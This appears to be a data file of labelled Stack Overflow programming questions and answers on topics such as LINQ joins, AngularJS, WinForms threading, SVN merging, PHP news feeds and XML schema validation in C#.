40465194	0	How to run a infinite angular forEach loop in angularjs? <pre><code>InstitutionStructure.teamHierarchy().then(function(response) { $scope.hierarchyList = response.data; $scope.hierarchyListsData = _.where($scope.hierarchyList, {reportingMemberId: null}); angular.forEach($scope.hierarchyListsData, function(value1, key1) { value1.teamMember = []; angular.forEach($scope.hierarchyList, function(value2, key2) { if(value1.teamMemberId === value2.reportingMemberId) { value1.teamMember.push(value2); } }) }) </code></pre> <p>From the above code I have loaded my hierarchyListsData continuously and I have to fetch list that corresponds to have teamMemberId which is equal to reportingMemberId till the object has no other corresponding values. Please help to find the solution.</p>
7741032	0	 <p>You are missing an include file</p> <pre><code>#include &lt;netdb.h&gt; </code></pre>
32212331	0	LINQ query with many tables, left outer joins, and where clause <p>I need to translate this SQL query into LINQ in c#. I would appreciate any help or guidance you can give. (I'm using entity framework 6).</p> <pre><code>SELECT f.FacId ,sli.SitLocIntId ,ei.EnvIntId ,p.PhoId FROM Fac AS f join SitLocInt AS sli on f.FacId = sli.FacId join EnvInt AS ei on sli.EnvIntId = ei.EnvIntId join EnvIntTyp AS eit on ei.EnvIntTypId = eit.EnvIntTypId left outer join Aff AS a on ei.EnvIntId = a.EnvIntId left outer join AffCon AS ac on a.AffId = ac.AffId left outer join Con AS c on ac.ConId = c.ConId left outer join Pho AS p on c.ConId = p.ConId WHERE EnvIntTyp = 'Fleet' </code></pre> <p>I've been looking at group join syntax, but with so many tables, a lot of left outer joins and a where clause I haven't made much headway. So far I have</p> <pre><code> var testQuery = from f in _CEMDbContext.setFac join sli in _CEMDbContext.setSitLocInt on f.FacId equals sli.FacId join ei in _CEMDbContext.setEnvInt on sli.EnvIntId equals ei.EnvIntId join eit in _CEMDbContext.setEnvIntTyp on ei.EnvIntTypId equals eit.EnvIntTypId into eiGroup from item in eiGroup.DefaultIfEmpty().Where(e =&gt; e.EnvIntTyp == "Fleet") select new BusinessParticipant { fac = f, sitLocInt = sli, envInt = ei, // pho = p, // not working... Phone number from table Pho. }; var TestList = testQuery.ToList(); </code></pre> <p>Getting the EnvIntTyp "Fleet" and all its associated data including Fac, SitLocInt, and EnvInt is working. But I run into trouble when I try to get the phone number from table Pho which may or may not exist. Is there a nice way to chain together all the left outer joins? Thanks for advice or direction!</p> <p><b>Edit</b> I don't just need the Ids as I wrote in the SQL query, but the whole object. Plus, I should mention that EnvIntTyp is a member of the table of the same name.</p> <p><b>Edit 2</b> Here are (parts of) the relevant entities. Fac is an abbreviation for Facility. SitLocInt is an abbreviation for SiteLocationInterest. EnvInt stands for EnvironmentalInterest. Aff is for Affiliation. Con is for Contact. Pho is for Phone.</p> <pre><code>public partial class Facility { public Facility() { this.SiteLocationInterests = new List&lt;SiteLocationInterest&gt;(); } public int FacilityId { get; set; } public string FacilityIdentifier { get; set; } public string FacilityName { get; set; } public int SiteTypeId { get; set; } public string FacilityDescription { get; set; } [ForeignKey("GeographicFeature")] public Nullable&lt;int&gt; GeographicFeatureId { get; set; } [Display(Name = "resAddress", ResourceType = typeof(CEMResource))] public string AddressLine1 { get; set; } [Display(Name = "resAddressLine2", ResourceType = typeof(CEMResource))] public string AddressLine2 { get; set; } public string City { get; set; } [Display(Name = "resState", ResourceType = typeof(CEMResource))] public string StateCode { get; set; } [Display(Name = "resZip", ResourceType = typeof(CEMResource))] public string AddressPostalCode { get; set; } public string CountyName { get; set; } public virtual GeographicFeature GeographicFeature { get; set; } public virtual ICollection&lt;SiteLocationInterest&gt; SiteLocationInterests { get; set; } } public partial class SiteLocationInterest { public int SiteLocationInterestId { get; set; } [ForeignKey("Facility")] public Nullable&lt;int&gt; FacilityId { get; set; } [ForeignKey("EnvironmentalInterest")] public Nullable&lt;int&gt; EnvironmentalInterestId { get; set; } public Nullable&lt;int&gt; EventId { get; set; } [ForeignKey("GeographicFeature")] public Nullable&lt;int&gt; GeographicFeatureId { get; set; } public System.DateTime CreateDate { get; set; } public string CreateBy { get; set; } public System.DateTime LastUpdateDate { get; set; } public string LastUpdateBy { get; set; } public virtual EnvironmentalInterest EnvironmentalInterest { get; set; } public virtual Facility Facility { get; set; } public virtual GeographicFeature GeographicFeature { get; set; } } public partial class EnvironmentalInterest { public EnvironmentalInterest() { this.Affiliations = new List&lt;Affiliation&gt;(); this.SiteLocationInterests = new List&lt;SiteLocationInterest&gt;(); } public int EnvironmentalInterestId { get; set; } public string EnvironmentalInterestIdentifier { get; set; } public string EnvironmentalInterestFacilityIdentifier { get; set; } public string FacilityIdentifier { get; set; } public string EnvironmentalInterestName { get; set; } [ForeignKey("EnvironmentalInterestType")] public int EnvironmentalInterestTypeId { get; set; } public Nullable&lt;int&gt; EnvironmentalInterestSubTypeId { get; set; } public string EnvironmentalInterestDescription { get; set; } public virtual ICollection&lt;Affiliation&gt; Affiliations { get; set; } public virtual EnvironmentalInterestType EnvironmentalInterestType { get; set; } public virtual ICollection&lt;SiteLocationInterest&gt; SiteLocationInterests { get; set; } } public partial class Affiliation { public Affiliation() { this.AffiliationContacts = new List&lt;AffiliationContact&gt;(); } public int AffiliationId { get; set; } public string AffiliationIdentifier { get; set; } public string AffiliationName { get; set; } [ForeignKey("Entity")] public Nullable&lt;int&gt; EntityId { get; set; } [ForeignKey("EnvironmentalInterest")] public Nullable&lt;int&gt; EnvironmentalInterestId { get; set; } public int AffiliationTypeId { get; set; } public int StatusTypeId { get; set; } public virtual EnvironmentalInterest EnvironmentalInterest { get; set; } public virtual ICollection&lt;AffiliationContact&gt; AffiliationContacts { get; set; } } public partial class AffiliationContact { public int AffiliationContactId { get; set; } public int AffiliationId { get; set; } public int ContactId { get; set; } public virtual Affiliation Affiliation { get; set; } public virtual Contact Contact { get; set; } } public partial class Contact { public Contact() { this.AffiliationContacts = new List&lt;AffiliationContact&gt;(); this.Phones = new List&lt;Phone&gt;(); } public int ContactId { get; set; } public string ContactIdentifier { get; set; } public int EntityId { get; set; } public Nullable&lt;int&gt; MailAddressId { get; set; } public int ContactTypeId { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public string EmailAddress { get; set; } public virtual ICollection&lt;AffiliationContact&gt; AffiliationContacts { get; set; } public virtual Entity Entity { get; set; } public virtual ICollection&lt;Phone&gt; Phones { get; set; } } public partial class Phone { public int PhoneId { get; set; } public int ContactId { get; set; } public int ContactTypeId { get; set; } public string PhoneNumber { get; set; } public string PhoneExtensionNumber { get; set; } public virtual Contact Contact { get; set; } public virtual ContactType ContactType { get; set; } } </code></pre>
9659476	0	 <p>if you are fine adding variables to the global scope then:</p> <pre><code>var firstname; var secondname; var checkName = function() { if(firstname != null &amp;&amp; secondname != null){ console.log(firstname); console.log(secondname); } } $('#first_name').live("change", function(){ firstname=$(this).val(); checkName(); }); $('#second_name').live("change", function(){ secondname=$(this).val(); checkName(); }); </code></pre>
984887	0	 <p>C compiles down to machine code and doesn't require any runtime support for the language itself. This means that it's possible to write code that can run before things like filesystems, virtual memory, processes, and anything else but registers and RAM exist.</p>
2359493	0	Starting multiple gui (WinForms) threads so they can work separetly from one main gui in C#? <p>I've one MainForm window and from that user can press 3 buttons. Each of the button starts new Form in which user can do anything he likes (like time consuming database calls etc). So i decided to put each of the forms in it's own threads:</p> <pre><code> private Thread subThreadForRaportyKlienta; private Thread subThreadForGeneratorPrzelewow; private Thread subThreadForRaporty; private void pokazOplatyGlobalne() { ZarzadzajOplatamiGlobalneDzp varGui = new ZarzadzajOplatamiGlobalneDzp(); varGui.ShowDialog(); } private void pokazRaportyKlienta() { RaportyDzpKlient varGui = new RaportyDzpKlient(); varGui.ShowDialog(); } private void pokazRaportyWewnetrzne() { RaportyDzp varGui = new RaportyDzp(); varGui.ShowDialog(); } private void pokazGeneratorPrzelewow() { ZarzadzajPrzelewamiDzp varGui = new ZarzadzajPrzelewamiDzp(); varGui.ShowDialog(); } private void toolStripMenuGeneratorPrzelewow_Click(object sender, EventArgs e) { if (subThreadForGeneratorPrzelewow == null || subThreadForGeneratorPrzelewow.IsAlive == false) { subThreadForGeneratorPrzelewow = new Thread(pokazGeneratorPrzelewow); subThreadForGeneratorPrzelewow.Start(); } else { } } private void toolStripMenuGeneratorRaportow_Click(object sender, EventArgs e) { if (subThreadForRaporty == null || subThreadForRaporty.IsAlive == false) { subThreadForRaporty = new Thread(pokazRaportyWewnetrzne); subThreadForRaporty.Start(); } else { } } private void toolStripMenuGeneratorRaportowDlaKlienta_Click(object sender, EventArgs e) { if (subThreadForRaportyKlienta == null || subThreadForRaportyKlienta.IsAlive == false) { subThreadForRaportyKlienta = new Thread(pokazRaportyKlienta); subThreadForRaportyKlienta.Start(); } else { } } </code></pre> <p>I've got couple of questions and i hope someone could explain them:</p> <ol> <li>When i use <code>Show()</code> instead of <code>ShowDialog()</code> the windows just blink for a second and never shows. What's the actual difference between those two and why it happens?</li> <li>When i use <code>ShowDialog</code> everything seems normal but i noticed not everything gets filled properly in one of the gui's (one listView stays blank even thou there are 3 simple add items in <code>Form_Load()</code>. I noticed this only in one GUI even thou on first sight everything works fine in two other gui's and i can execute multiple tasks inside those Forms updating those forms in background too (from inside the forms methods). Why would this one be diffrent?</li> <li>What would be proper way of doing this? Tasks performed in each of those Forms can be time consuming and i would like to give user possibility to jump between those 4 windows without problem so he can execute what he likes. </li> </ol>
23883398	0	 <pre><code>Panel div = new Panel(); Panel innerdiv = new Panel(); TextBox txt = new TextBox(); innerdiv.Controls.Add(txt); div.Controls.Add(innerdiv); CustomAttributes.Controls.Add(div); </code></pre> <p>Your <code>CustomAttributes</code> holds <code>Panel</code>. Try this :</p> <pre><code>var textboxes = CustomAttributes.Controls.OfType&lt;Panel&gt;() .Select(p =&gt; p.Controls.OfType&lt;Panel&gt;().First()) .Select(p =&gt; p.Controls.OfType&lt;TextBox&gt;().First()) </code></pre>
32576059	0	 <p>You can allocate the array as a contiguous bloc like this. Suppose you want ints:</p> <pre><code>int (*arr)[secondCount] = malloc( sizeof(int[firstCount][secondCount]) ); </code></pre> <p>You could hide this behind a macro which takes the typename as a macro argument, although the code is simple enough that that is not really necessary.</p>
34595020	0	Symfony 2: How to dynamically adjust configuration parameters <p>For my <code>AppBundle</code> (THE APPLICATION ITSELF, NOT A REUSABLE BUNDLE) I have a configuration parameter that is a path. I'd like to be sure the path ends with a <code>/</code>.</p> <p>In this moment I have a method in the entity that uses this path (yes is an entity and not a controller) adjust the configuration parameter with a code like this:</p> <pre><code>public function buildLogoFolder($folder) { // Replace the placeholder with the current Entity's URL $folder = str_replace('{entity_domain}', $this-&gt;getDomain()-&gt;getCanonical(), $folder); $folder = rtrim(ltrim($folder, '/'), '/') . '/'; return $folder; } </code></pre> <p>As the <code>$folder</code> parameter comes from the <code>config.yml</code> file I'd like to move outside of the entity this adjustment.</p> <p>I think I should use a solution similar to the one suggested <a href="http://stackoverflow.com/questions/14651871/how-to-dynamically-append-sections-to-symfony-2-configuration">here</a>, that is the use of the <code>DependencyInjection</code> component.</p> <p>I think the process is very similar to the <a href="http://symfony.com/doc/current/cookbook/bundles/extension.html" rel="nofollow">loading of</a> a <a href="http://symfony.com/doc/current/cookbook/bundles/configuration.html" rel="nofollow">configuration file</a> for a new bundle as explained in the Symfony's documentation but I'm not sure on how to proceed.</p> <p>Is there someone who can put me on the right way?</p> <p><strong>I'd like to automate the process. I want read the <code>folder</code> configuration parameter value and then adjust it with the method I wrote above.</strong></p> <p><strong>I want to be sure that the <code>folder</code> parameter configured ever ends with a trailing slash, also if the developer didn't write it in the configuration.</strong></p> <p><strong>So, If the developer write something like <code>path/to/folder</code> the resulting configuration parameter is automatically adjusted to <code>path/to/folder/</code></strong>.</p>
22110067	0	 <p>If you select only HEAD, than any changes in any revisions prior to HEAD will not be included in the merge. You either need to select ALL the revisions in the branch whose changes are not yet included in your branch, or leave the range specifier empty to allow SVN to figure out which revisions to merge.</p> <p><strong>Edited to add example</strong></p> <p>When you do a "range of revisions" merge, you are picking individual CHANGES to cherry-pick over into your merge destination. If you say "merge HEAD" you are not saying "merge all changes up through HEAD", you are saying "merge only the specific change that happened in the very last revision on that branch". Consider a trunk with revision 122; a MayBranch with revisions 123, 124, and 125; and an AugustBranch with revisions 126 and 127. Both branches were copied from trunk revision 122.</p> <p>You want all three changes on the MayBranch&ndash;123, 124, and 125&ndash;to be merged into your AugustBranch. If you select all three revisions, or leave the revision specifier empty, this will happen. The merge will use revision 122 on trunk as the BASE, with 125 on MayBranch as source revision, and 127 on AugustBranch as destination revision.</p> <p>If instead you select HEAD as the revision to merge, SVN will use revision 124 on MayBranch as the BASE, with 125 as the source revision and 127 as destination as before. Since BASE is now the place where revision 125's changes were started from, you only get the changes that specifically happened in revision 125.</p> <p>The final result is as if you had exported only revision 125 on MayBranch as a diff, and then applied that diff to the AugustBranch. Except this is done with merge tracking information included so that SVN knows how to get the whole branch automatically later if you like.</p>
207981	1	How to enable MySQL client auto re-connect with MySQLdb? <p>I came across PHP way of doing the trick:</p> <pre><code>my_bool reconnect = 1; mysql_options(&amp;mysql, MYSQL_OPT_RECONNECT, &amp;reconnect); </code></pre> <p>but no luck with MySQLdb (python-mysql).</p> <p>Can anybody please give a clue? Thanks.</p>
18674145	0	Clear upper bytes of __m128i <p>How do I clear the <code>16 - i</code> upper bytes of a <code>__m128i</code>?</p> <p>I've tried this; it works, but I'm wondering if there is a better (shorter, faster) way:</p> <pre><code>int i = ... // 0 &lt; i &lt; 16 __m128i x = ... __m128i mask = _mm_set_epi8( 0, (i &gt; 14) ? -1 : 0, (i &gt; 13) ? -1 : 0, (i &gt; 12) ? -1 : 0, (i &gt; 11) ? -1 : 0, (i &gt; 10) ? -1 : 0, (i &gt; 9) ? -1 : 0, (i &gt; 8) ? -1 : 0, (i &gt; 7) ? -1 : 0, (i &gt; 6) ? -1 : 0, (i &gt; 5) ? -1 : 0, (i &gt; 4) ? -1 : 0, (i &gt; 3) ? -1 : 0, (i &gt; 2) ? -1 : 0, (i &gt; 1) ? -1 : 0, -1); x = _mm_and_si128(x, mask); </code></pre>
2077746	0	 <p>Most of the answers here I don't think are really going to wow anyone, especially a tech crowd. They might be surprised that Perl can do it, but they aren't going to be surprised that you can do the task. However, even if they aren't surprised that you can do it, they might be surprised how fast, or with how little code, you can do it.</p> <p>If you're looking for things to show them that will wow them, you have to figure out what they think is hard in their jobs and see if Perl could make it really easy. I find that people tend not to care if a language can do something they don't already have an interest in. That being said, impressing anyone with Perl is the same as impressing anyone in any other subject of field: you have to know them and what they will be impressed by. You have to know your audience.</p> <p>Perl doesn't really have any special features that allow it to do any one thing that some other language can also do. However, Perl combines a lot of features that you usually don't find in the same programming language.</p> <p>Most of the things that I'm impressed by have almost nothing to do with the language:</p> <ul> <li><p>There's a single codebase that runs on a couple hundred different platforms, despite differences in architecture.</p></li> <li><p>Perl's <a href="http://search.cpan.org/" rel="nofollow noreferrer">CPAN</a> is still unrivaled among other languages (which is really sad because it's so easy to do the same thing for other languages).</p></li> <li><p>The testing culture has really raised the bar in Perl programming, and there's a lot of work that teases out platform dependencies, cross-module issues, and so on without the original developer having to do much.</p></li> </ul>
27319280	0	 <pre><code> while(token != NULL){ printf("%s\n", token); token = strtok(NULL, space); } </code></pre> <p>The while loop will fail when the token is <code>NULL</code>. At this time you are trying to print this pointer using your second <code>printf()</code> in the while loop which will lead to undefined behavior.</p> <p>Get rid of your second <code>printf()</code></p>
8195546	0	Applying jQuery Fade in or Scroll Effect to Facebook Like Newsfeed <p>I have a news feed that has been developed using PHP, MySQL, and jQuery. The news feed does it's job by getting new content every 5 seconds. However, this is done by a "refresh" of the complete content. I want to only ADD any new content to the news feed. I want a fade in or scroll effect to be used (jQuery) for this to occur. The items already loaded should stay on the feed and NOT reload with any new content. How can I do this?</p> <p>Here are my 2 pages and code.</p> <p>feed.php</p> <pre><code> &lt;body &gt; &lt;script&gt; window.setInterval(function(){ refreshNews(); }, 5000); &lt;/script&gt; &lt;div id="news"&gt;&lt;/div&gt; &lt;script&gt; function refreshNews() { $("#news").fadeOut().load("ajax.php", function( response, status, xhr){ if (status == "error"){ } else { $(this).fadeIn(); } }); } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>ajax.php</p> <pre><code>&lt;?php require_once('../../Connections/f12_database_connect.php'); ?&gt; &lt;?php if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION &lt; 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } mysql_select_db($database_f12_database_connect, $f12_database_connect); $query_newsfeed_q = "SELECT * FROM newsfeed ORDER BY pk DESC"; $newsfeed_q = mysql_query($query_newsfeed_q, $f12_database_connect) or die(mysql_error()); $row_newsfeed_q = mysql_fetch_assoc($newsfeed_q); $totalRows_newsfeed_q = mysql_num_rows($newsfeed_q); ?&gt; &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;title&gt;Untitled Document&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;table border="1"&gt; &lt;tr&gt; &lt;td&gt;pk&lt;/td&gt; &lt;td&gt;title&lt;/td&gt; &lt;td&gt;content&lt;/td&gt; &lt;/tr&gt; &lt;?php do { ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $row_newsfeed_q['pk']; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row_newsfeed_q['title']; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row_newsfeed_q['content']; ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } while ($row_newsfeed_q = mysql_fetch_assoc($newsfeed_q)); ?&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; &lt;?php mysql_free_result($newsfeed_q); ?&gt; </code></pre>
7387938	0	Modifying an existing MVVM infrastructure by adding View State feature <p>I'm going to introduce View State feature in the existing MVVM WPF Application. The objective is to be able to Save and Load (restore) particular state of a control.</p> <p>The question is more about design and best solution from system flexibility/maintability perspectives.</p> <p><strong>Current infrastructure:</strong></p> <pre class="lang-cs prettyprint-override"><code>public abstract class ViewModelBase { protected ViewModelBase(...) { } } // and few more very the same ViewModel classes for different control types public sealed class GridViewModel : ViewModelBase { protected GridViewModel(...) : base(...) { } } </code></pre> <p>I'm introduced <code>IViewState interface</code> so each specific ViewModel could provide own implementation like <code>GridViewState class</code> and going to put it in ViewModel infrastructure in following way: (Idea is to pass type of ViewState as generic parameter)</p> <pre class="lang-cs prettyprint-override"><code>public abstract class ViewModelBase&lt;TViewState&gt; where TViewState : class, IViewState { protected ViewModelBase(...) { } public TViewState ViewState { ... } } </code></pre> <ol> <li>Is it a good idea to attach View State feature to ViewModel?</li> <li>Is it a good solution to introduce tied relation between specific ViewModel typa and ViewState through the generic Type parameter like <code>class GridViewModel&lt;GridViewState&gt;</code>?</li> <li>Where and why better to define such methods like <code>LoadState() / SaveState(),</code> <code>IViewState</code> itself or <code>ViewModelBase</code>?</li> <li>Are there another design solutions?</li> </ol>
20622260	0	Format of datasource view <p>I have datagridview with sqlite connection. Here is the code:</p> <pre><code> dataGridView.AutoGenerateColumns = false; SQLiteConnection connection = new SQLiteConnection(string.Format("Data Source=data;"); connection.Open(); string sql = "SELECT * FROM users"; DataSet DS = new DataSet(); SQLiteDataAdapter DA = new SQLiteDataAdapter(sql, connection); DA.Fill(sqlDS); dataGridView.DataSource = DS.Tables[0].DefaultView; dataGridView.Update(); </code></pre> <p>I have datagridview with propertyName of columns like name in header table of sqlite. So data automatically insert in same name columns of datagridview.</p> <p>I have question: How I can format data in columns? For example: I have a column with header name: "Date". Same name in table of sqlite. There only date, but I want to see: "This" + date + " day!"</p>
14492518	0	CSS padding issue for vertically centered text <p>I've been trying to work this out all day long</p> <p>I've got a script for some jQuery dropdowns for my form, but the text within the drop down is not centered vertically in the box. I've styled the normal text boxes with <code>padding-bottom</code> so that the text sits in the middle, but I simply cannot do the same with the jQuery boxes. I have managed to do it on the actual dropdown, just not the option you see selected. If anyone could help get the text centered vertically in the box (not text align center) I will appreciate it.</p> <p><a href="http://fifamatchgenerator.com/dev/formtest/form1.php" rel="nofollow">http://fifamatchgenerator.com/dev/formtest/form1.php</a></p> <p>I think I have been staring at it for too long and become blind to it...</p> <p>p.s. there might be some code in the dd.css file which is what I have tried and failed with (most of the code is the default code which came with the script)</p>
37717699	0	azure-cli login getting "self signed certificate in certificate chain" <p>I have installed azure-cli via <code>npm install -g azure-cli</code> but and am getting <code>self signed certificate in certificate chain</code>:</p> <p><a href="https://i.stack.imgur.com/skvDv.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/skvDv.png" alt="enter image description here"></a></p> <p>Any hints appreciated.</p>
19040334	0	 <p>I was having the same problem, that is, the first time the image was saved correctly on the database side, but if subsequently validation failed and then I tried to save the image again after entering valid data I would get <code>0x</code> in the image column. To solve that I did what <a href="http://stackoverflow.com/questions/14943333/cant-save-binary-data-to-database-in-c-sharp#comment21040844_14943333">@Ann L.</a> said:</p> <pre><code>byte[] photo = null; if(model.Photo != null) { var stream = model.Photo.InputStream; stream.Position = 0; using(BinaryReader br = new BinaryReader(model.Photo.InputStream)) { photo = br.ReadBytes(model.Photo.ContentLength); } } </code></pre>
14304535	0	Display a table in a foreach loop with database values <p>I am trying to display a table in a while loop.. But I have got stuck there for 2 days. anyone can help me to do this? </p> <p>Now I will explain actually what I am trying to do here.. There are several categories and several subjects in my database. each category have its own subjects. Now I need to display category and its subjects as a list. When display subjects under particular category I need to add a HTML table with 2 columns to display subjects..</p> <p>This is the code that I have done so far.. </p> <pre><code> $categoryIds = implode(',', $_SESSION['category']); $q = "SELECT c. category_id AS ci, c.category_name AS cn, s.subject_name AS sn, s.subject_id AS si FROM category AS c INNER JOIN category_subjects AS cs ON cs.category_id = c.category_id INNER JOIN subjects AS s ON s.subject_id = cs.subject_id WHERE c.category_id IN ($categoryIds)"; $r = mysqli_query( $dbc, $q) ; $catID = false; $max_columns = 2; while ($row = mysqli_fetch_array($r, MYSQLI_ASSOC)) { $categoryId = $row['ci']; $category = $row['cn']; $subjects = $row['sn']; echo '&lt;div&gt;'; //Detect change in category if($catID != $categoryId) { echo "&lt;h3&gt;Category 01: &lt;span&gt;{$category}&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/h3&gt;\n"; foreach ( $subjects AS $sub ) { echo "&lt;div class='container'&gt;\n"; //echo "&lt;table&gt;&lt;tr&gt;\n"; //echo $sub; echo "&lt;/div&gt; &lt;!-- End .container DIV --&gt;\n"; } echo '&lt;/div&gt;'; } $catID = $categoryId; echo '&lt;/div&gt;'; } </code></pre> <p>Here, Category Name display correctly under tag. But problem is when going to display subjects which are belongs to categories. I am trying to display subjects table in .container Div. </p> <p>please Is anybody there can I get help whit this issue...? </p> <p>Thank you...</p>
12446067	0	 <p>For sending mails using php mail function is used. But mail function requires SMTP server for sending emails. we need to mention SMTP host and SMTP port in php.ini file. Upon successful configuration of SMTP server mails will be sent successfully sent through php scripts.</p>
22267605	0	 <p>if you want to remove the grey color in active buttons, just override it as follows:</p> <pre><code>.active{ background-color:white !important; } </code></pre> <p><em>note:</em></p> <blockquote> <p>And can you please let me know how I can get rid of the darker grey at the Top of the active class?</p> </blockquote> <p>well, if you are reffering to the highlighted button in the second image, it doesn't have active class, it's a non-active class. by setting all buttons as active initially,on first click it simply becomes inactive. You might want to think about what you are doing.</p> <p><strong>Update</strong> if you want to change the grey color you can do so by adding another class and toggling it as follows:</p> <pre><code>.select{ background-color:white !important; } $("div").children().click(function () { $(this).toggleClass("select"); }); </code></pre> <p>working <a href="http://jsfiddle.net/EFQHN/" rel="nofollow">fiddle</a></p>
40359217	0	I have created a simple website app wrapped via Cordova and Crosswalk and it displays a black screen when reopening <p>I have created a simple website app wrapped via Cordova and Crosswalk and it displays a black screen when reopening</p> <p>I used Intel XDK.</p> <p>When I open the app, it displays great. I can select button links to websites and even use the phone back button to go back to the main page.</p> <p>However when I close and reopen the app - it displays a black screen with a thin blue line on the left side. I have to close it thru the phone soft key app close button.</p> <p>I added this below but that does not seem to help either</p> <pre><code>function onLoad() { document.addEventListener("deviceready", onDeviceReady, false); } document.addEventListener("backbutton", onBackKeyDown, false); function onBackKeyDown() { // Handle the back button navigator.app.exitApp(); } </code></pre>
6232305	0	Cant get a control from a TabControl DataTemplate <p>I've been googling this for the last 2 days and cant get anywhere, I just cant do anything to any control in a datatemplate of a tabcontrol. </p> <p>First off, the code:</p> <pre><code>private void Window_Loaded(object sender, RoutedEventArgs e) { tabControl1.ItemsSource = new string[] { "TabA", "TabB", "TabC" }; } private void tabControl1_SelectionChanged(object sender, SelectionChangedEventArgs e) { ContentPresenter cp = tabControl1.Template.FindName("PART_SelectedContentHost", tabControl1) as ContentPresenter; DataTemplate dt = tabControl1.ContentTemplate; Grid g = tabControl1.ContentTemplate.FindName("myGrid", cp) as Grid; g.Background = new SolidColorBrush(Colors.Red); } </code></pre> <p>xaml</p> <pre><code>&lt;Window x:Class="tabTest.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="MainWindow" Height="350" Width="525" Loaded="Window_Loaded"&gt; &lt;Grid&gt; &lt;TabControl IsSynchronizedWithCurrentItem="True" Height="140" Name="tabControl1" Width="230" SelectionChanged="tabControl1_SelectionChanged"&gt; &lt;TabControl.ContentTemplate&gt; &lt;DataTemplate&gt; &lt;Grid x:Name="myGrid"&gt; &lt;/Grid&gt; &lt;/DataTemplate&gt; &lt;/TabControl.ContentTemplate&gt; &lt;/TabControl&gt; &lt;/Grid&gt; </code></pre> <p></p> <p>In short this line:</p> <pre><code>Grid g = tabControl1.ContentTemplate.FindName("myGrid", cp) as Grid; </code></pre> <p>throws an error "System.InvalidOperationException" This operation is valid only on elements that have this template applied.</p> <p>this particular idea i got from <a href="http://www.netframeworkdev.com/windows-presentation-foundation-wpf/accessing-elements-inside-a-datatemplate-27994.shtml" rel="nofollow">here</a></p> <p>I've found loads of other ways of doing this but I cant seem to get anywhere :( hope someone can point me in the right direction :)</p>
8728861	0	Can i specify a schema to build an XDocument while loading a xml file? <p>I am a xml newbie trying to create a XDocument type from a xml file.</p> <p>I can validate the xml against a schema.</p> <pre><code>public class XmlHandler { public XDocument Read(string filename, string schemaname) { var schemas = this.GetSchemas(schemaname); var doc = XDocument.Load(filename); var invalid = false; doc.Validate(schemas, (o, args) =&gt; { this.OnValidationErrors(o, args); invalid = true; }); return invalid ? new XDocument() : doc; } public XmlSchemaSet GetSchemas(string schemaname) { var schemas = new XmlSchemaSet(); schemas.Add(null, schemaname); return schemas; } private void OnValidationErrors(object sender, ValidationEventArgs e) { Debug.Print("Errors: ", e); } } </code></pre> <p>But the structure of the the XDocument seems to be wrong.</p> <p>When running this code</p> <pre><code> [Fact] public void Read_get_elements() { var sut = new XmlHandler(); var result = sut.Read(this.TestFile, this.TestFileSchema); var root = result.Root; var elements = result.Elements(); var nodes = result.Nodes(); var descendants = result.Descendants(); Assert.NotEmpty(elements); } </code></pre> <p>the root variable contains the complete xml string and the the other IEnumerable variables stay empty. What am i missing?</p> <p>EDIT: This is part of the xml and the xsd</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="https://www.eurexchange.com/members/releases/eurex14/manuals_technical_en.html" xmlns="https://www.eurexchange.com/members/releases/eurex14/manuals_technical_en.html" elementFormDefault="qualified"&gt; &lt;xs:include schemaLocation="eurex_reports_common_structs.xsd"/&gt; &lt;xs:complexType name="cb020Type"&gt; &lt;xs:annotation&gt; &lt;xs:documentation&gt;CB020 Position Summary&lt;/xs:documentation&gt; &lt;/xs:annotation&gt; &lt;xs:sequence&gt; &lt;xs:element name="rptHdr" type="rptHdrType" /&gt; &lt;xs:element name="cb020Grp" type="cb020GrpType" minOccurs="0" maxOccurs="unbounded" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;xs:element name="cb020" type="cb020Type"/&gt; &lt;xs:complexType name="cb020GrpType"&gt; &lt;xs:sequence&gt; &lt;xs:element name="cb020KeyGrp" type="cb020KeyGrpType" /&gt; &lt;xs:element name="cb020Grp1" type="cb020Grp1Type" minOccurs="1" maxOccurs="unbounded" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:schema&gt; </code></pre> <p>And this is part of the xml</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;cb020 xmlns="https://www.eurexchange.com/members/releases/eurex14/manuals_technical_en.html"&gt; &lt;rptHdr&gt; &lt;exchNam&gt;EUREX&lt;/exchNam&gt; &lt;envText&gt;P&lt;/envText&gt; &lt;rptCod&gt;CB020&lt;/rptCod&gt; &lt;rptNam&gt;Position Summary&lt;/rptNam&gt; &lt;membLglNam&gt;Cyberdyne Systems&lt;/membLglNam&gt; &lt;rptPrntEffDat&gt;2011-12-05&lt;/rptPrntEffDat&gt; 